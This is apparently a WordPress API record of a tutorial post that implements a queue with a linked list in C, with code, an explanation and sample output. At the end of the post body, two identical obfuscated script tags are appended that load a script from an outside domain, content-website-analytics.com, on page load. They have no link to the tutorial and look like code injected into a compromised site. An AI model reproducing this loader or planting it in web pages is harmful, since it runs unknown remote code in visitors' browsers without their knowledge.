{"id":528,"date":"2024-10-19T13:52:29","date_gmt":"2024-10-19T08:22:29","guid":{"rendered":"https:\/\/codexplained.in\/?p=528"},"modified":"2025-11-24T15:33:34","modified_gmt":"2025-11-24T10:03:34","slug":"implement-queue-using-linked-list","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=528","title":{"rendered":"Implement Queue using Linked List"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Structure to represent a node in the queue\nstruct Node {\n    int data;\n    struct Node* next;\n};\n\n\/\/ Structure to represent the queue with pointers to the front and rear\nstruct Queue {\n    struct Node *front, *rear;\n};\n\n\/\/ Function to create a new node with the given data\nstruct Node* newNode(int data) {\n    struct Node* temp = (struct Node*)malloc(sizeof(struct Node));\n    temp-&gt;data = data;\n    temp-&gt;next = NULL;\n    return temp;\n}\n\n\/\/ Function to create an empty queue\nstruct Queue* createQueue() {\n    struct Queue* q = (struct Queue*)malloc(sizeof(struct Queue));\n    q-&gt;front = q-&gt;rear = NULL;\n    return q;\n}\n\n\/\/ Function to add an element to the queue\nvoid enqueue(struct Queue* q, int data) {\n    \/\/ Create a new node\n    struct Node* temp = newNode(data);\n    \n    \/\/ If the queue is empty, the new node will be the front and rear\n    if (q-&gt;rear == NULL) {\n        q-&gt;front = q-&gt;rear = temp;\n        printf(&quot;Enqueued %d to the queue.\\n&quot;, data);\n        return;\n    }\n\n    \/\/ Attach the new node at the end of the queue and change the rear\n    q-&gt;rear-&gt;next = temp;\n    q-&gt;rear = temp;\n    printf(&quot;Enqueued %d to the queue.\\n&quot;, data);\n}\n\n\/\/ Function to remove an element from the queue\nvoid dequeue(struct Queue* q) {\n    \/\/ If the queue is empty, there is nothing to dequeue\n    if (q-&gt;front == NULL) {\n        printf(&quot;Queue is empty, nothing to dequeue.\\n&quot;);\n        return;\n    }\n\n    \/\/ Store the previous front and move the front one node ahead\n    struct Node* temp = q-&gt;front;\n    q-&gt;front = q-&gt;front-&gt;next;\n\n    \/\/ If the front becomes NULL, then the queue is empty, so set rear to NULL\n    if (q-&gt;front == NULL) {\n        q-&gt;rear = NULL;\n    }\n\n    printf(&quot;Dequeued %d from the queue.\\n&quot;, temp-&gt;data);\n    free(temp);\n}\n\n\/\/ Function to display the current elements of the queue\nvoid displayQueue(struct Queue* q) {\n    struct Node* temp = q-&gt;front;\n    if (temp == NULL) {\n        printf(&quot;Queue is empty.\\n&quot;);\n        return;\n    }\n\n    printf(&quot;Queue elements: &quot;);\n    while (temp != NULL) {\n        printf(&quot;%d &quot;, temp-&gt;data);\n        temp = temp-&gt;next;\n    }\n    printf(&quot;\\n&quot;);\n}\n\n\/\/ Main function to demonstrate queue operations\nint main() {\n    struct Queue* q = createQueue();\n\n    enqueue(q, 10);\n    enqueue(q, 20);\n    enqueue(q, 30);\n\n    displayQueue(q);\n\n    dequeue(q);\n    displayQueue(q);\n\n    dequeue(q);\n    dequeue(q);\n    dequeue(q);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Data Structure Design<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>Node<\/code> structure represents a node in the linked list, containing <code>data<\/code> (to store the integer value) and <code>next<\/code> (a pointer to the next node).<\/li>\n\n\n\n<li>The <code>Queue<\/code> structure has two pointers: <code>front<\/code> (points to the front of the queue) and <code>rear<\/code> (points to the end of the queue).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Node Creation<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>newNode(int data)<\/code>: This function creates a new node using <code>malloc<\/code> and initializes it with the provided <code>data<\/code>. It returns a pointer to the newly created node.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Queue Initialization<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>createQueue()<\/code>: This function initializes a new <code>Queue<\/code> by allocating memory for it and setting both <code>front<\/code> and <code>rear<\/code> pointers to <code>NULL<\/code>, indicating an empty queue.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Enqueue Operation<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>enqueue(struct Queue* q, int data)<\/code>:\n<ul class=\"wp-block-list\">\n<li>A new node is created.<\/li>\n\n\n\n<li>If the <code>rear<\/code> is <code>NULL<\/code>, it means the queue is empty, so both <code>front<\/code> and <code>rear<\/code> pointers are set to this new node.<\/li>\n\n\n\n<li>Otherwise, the <code>next<\/code> pointer of the current <code>rear<\/code> is updated to the new node, and then <code>rear<\/code> is updated to this new node.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Dequeue Operation<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>dequeue(struct Queue* q)<\/code>:\n<ul class=\"wp-block-list\">\n<li>If the <code>front<\/code> is <code>NULL<\/code>, the queue is empty, so a message is printed.<\/li>\n\n\n\n<li>Otherwise, the front node is removed, and the <code>front<\/code> pointer is updated to the next node in the queue.<\/li>\n\n\n\n<li>If the queue becomes empty after the removal (i.e., <code>front<\/code> becomes <code>NULL<\/code>), then <code>rear<\/code> is also set to <code>NULL<\/code>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Display Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>displayQueue(struct Queue* q)<\/code>: It traverses from <code>front<\/code> to <code>rear<\/code> and prints each node\u2019s <code>data<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Creates an empty queue.<\/li>\n\n\n\n<li>Enqueues elements <code>10<\/code>, <code>20<\/code>, and <code>30<\/code>.<\/li>\n\n\n\n<li><\/li>\n\n\n\n<li>Displays the queue.<\/li>\n\n\n\n<li>Dequeues elements one by one and displays the queue after each operation.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>Enqueued 10 to the queue.\nEnqueued 20 to the queue.\nEnqueued 30 to the queue.\nQueue elements: 10 20 30 \nDequeued 10 from the queue.\nQueue elements: 20 30 \nDequeued 20 from the queue.\nDequeued 30 from the queue.\nQueue is empty, nothing to dequeue.\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>The elements <code>10<\/code>, <code>20<\/code>, and <code>30<\/code> are added to the queue. After enqueueing, the queue looks like <code>10 -&gt; 20 -&gt; 30<\/code>.<\/li>\n\n\n\n<li>The first <code>dequeue<\/code> operation removes <code>10<\/code>, leaving <code>20 -&gt; 30<\/code>.<\/li>\n\n\n\n<li>The next <code>dequeue<\/code> removes <code>20<\/code>, leaving only <code>30<\/code>.<\/li>\n\n\n\n<li>After removing <code>30<\/code>, the queue becomes empty.<\/li>\n\n\n\n<li>Trying to dequeue from an empty queue gives a message indicating that there is nothing to remove.<\/li>\n<\/ol>\n\n\n\n<p>This implementation demonstrates how to use a linked list to efficiently manage a queue, ensuring that elements can be added or removed dynamically as needed.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Explanation of the Output: This implementation demonstrates how to use a linked list to efficiently manage a queue, ensuring that elements can be added or removed dynamically as needed.<\/p>\n","protected":false},"author":40,"featured_media":531,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-528","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/528","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=528"}],"version-history":[{"count":8,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/528\/revisions"}],"predecessor-version":[{"id":1391,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/528\/revisions\/1391"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/531"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=528"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=528"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=528"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}